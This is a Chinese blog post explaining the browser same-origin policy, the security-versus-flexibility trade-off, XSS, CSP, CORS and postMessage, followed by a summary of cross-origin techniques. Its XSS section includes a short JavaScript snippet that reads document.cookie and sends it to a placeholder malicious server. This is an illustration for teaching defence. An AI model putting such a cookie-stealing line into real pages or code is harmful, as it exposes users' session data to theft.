同源策略


浏览器安全可以分为三大块:

  • Web页面安全
  • 浏览器网络安全
  • 浏览器系统安全

为什么需要保证安全:在没有安全保障的Web世界中,我们是没有隐私的,因此需要安全策略来保障我们的隐私和数据的安全

页面中最基础、最核心的安全策略:“同源策略(Same-origin policy)

什么是同源策略

如果两个URL的协议域名端口都相同,我们就称这两个URL同源

浏览器默认两个相同的源之间是可以互相访问资源和操作DOM的。两个不同的源之间若想要互相访问资源或者操作DOM,那么就会由一套基础的安全策略的制约,我们把这称为同源策略

  • DOM层面:同源策略限制了来自不同源的JavaScript脚本对当前DOM对象读和写的操作
  • 数据层面:同源策略限制了不同源的站点读取当前站点的Cookie、IndexDB、LocalStorage等数据
  • 网络层面:限制了XMLHttpRequest等方式将站点的数据发送给不同源的站点。

安全和便利性的权衡

让不同源之间绝对隔离,无疑是最安全的措施,但这也会使得Web项目难以开发和使用,因此需要在这之间做出权衡,出让一些安全性来满足灵活性;而出让安全性又带来了很多安全问题,最典型的就是XSS攻击和CSRF攻击

浏览器出让了同源策略的那些安全性

网页中可以嵌入第三方资源

Web是开放的,可以接入任何资源,而同源策略要让一个页面的所有资源都来自于同一个源,也就是要将页面所有的HTML、CSS、JavaScript、图片等文件都部署在同一台服务器上,但是就违背了Web的初衷,也带了诸多限制。

最初的浏览器是不允许外部引用资源文件的,不过带来了很多问题。例如:浏览器的首页被一些恶意程序劫持,劫持的途径很多,其中最常见的恶意程序就是通过各种途径往HTML文件中插入恶意脚本。

HTML文件的数据到达浏览器时,浏览器是无法区分被插入的文件是恶意的还是正常的,这样恶意的脚本寄生在页面之中,当页面启动时,它就可以修改用户的搜索结果、改变一些内容的连接指向等等

除此之外,还能将页面的敏感数据,如Cookie、IndexDB、LocalStorage等数据通过XSS的手段发送给服务器。具体来说就是不小心点击了页面中的一个恶意链接时,恶意JavaScript代码可以读取页面数据并将其发送给服务器

// 恶意获取Cookie并发送给恶意服务器
function onClick(){
    let url = `http://unsafeDomain?cookie=${document.cookie}`;
    open(url);
}
onClick();

上面是一个典型的XSS攻击,为了解决XSS攻击,浏览器引入了内容安全策略,称为CSP。

CSP的核心思想是让服务器决定浏览器能够加载那些资源,让服务器决定浏览器是否能执行内联JavaScript代码”。通过这些手段可以大大减少XSS攻击。

跨站资源共享和跨文档消息机制

跨站资源共享(CORS)

跨文档消息机制”:通过window.postMessage的JavaScript接口来和不同源DOM进行通信。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
同源策略是一种浏览器安全机制,用于限制一个源(域名、协议和端口)的文档或脚本如何与另一个源的资源进行交互。同源策略的目的是防止恶意网站通过脚本访问用户的敏感信息或执行恶意操作。 在同源策略下,一个源的文档或脚本只能与同一源的资源进行交互,不能直接访问其他源的资源。这意味着,如果一个页面中包含一个来自不同源的iframe元素,那么该iframe中的文档或脚本将无法直接访问父页面的DOM,也无法通过常规的方式与父页面进行通信。 然而,同源策略并不是绝对的,有一些方法可以绕过同源策略实现跨域访问,其中包括以下几种常见的方法: 1. JSONP跨域:通过动态创建`<script>`标签,将跨域请求的数据作为回调函数的参数返回到页面中。 2. document.domain + iframe跨域:当两个页面的域名相同但是子域不同,可以通过设置`document.domain`属性来实现跨域访问。 3. location.hash + iframe跨域:通过改变iframe的URL的hash值来传递数据,从而实现跨域通信。 4. window.name + iframe跨域:通过在iframe的`window.name`属性中存储数据,实现跨域通信。 5. postMessage跨域:通过使用`window.postMessage()`方法在不同窗口之间传递消息,实现跨域通信。 6. 跨域资源共享(CORS):在服务器端设置响应头,允许指定的源进行跨域访问。 7. nginx代理跨域:通过配置nginx服务器代理请求,实现跨域访问。 8. nodejs中间件代理跨域:通过使用nodejs中间件代理请求,实现跨域访问。 9. WebSocket协议跨域:通过WebSocket协议进行跨域通信。 总结起来,同源策略是浏览器的一种安全机制,限制了不同源之间的交互。但是通过一些特定的方法,可以实现跨域访问和通信。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值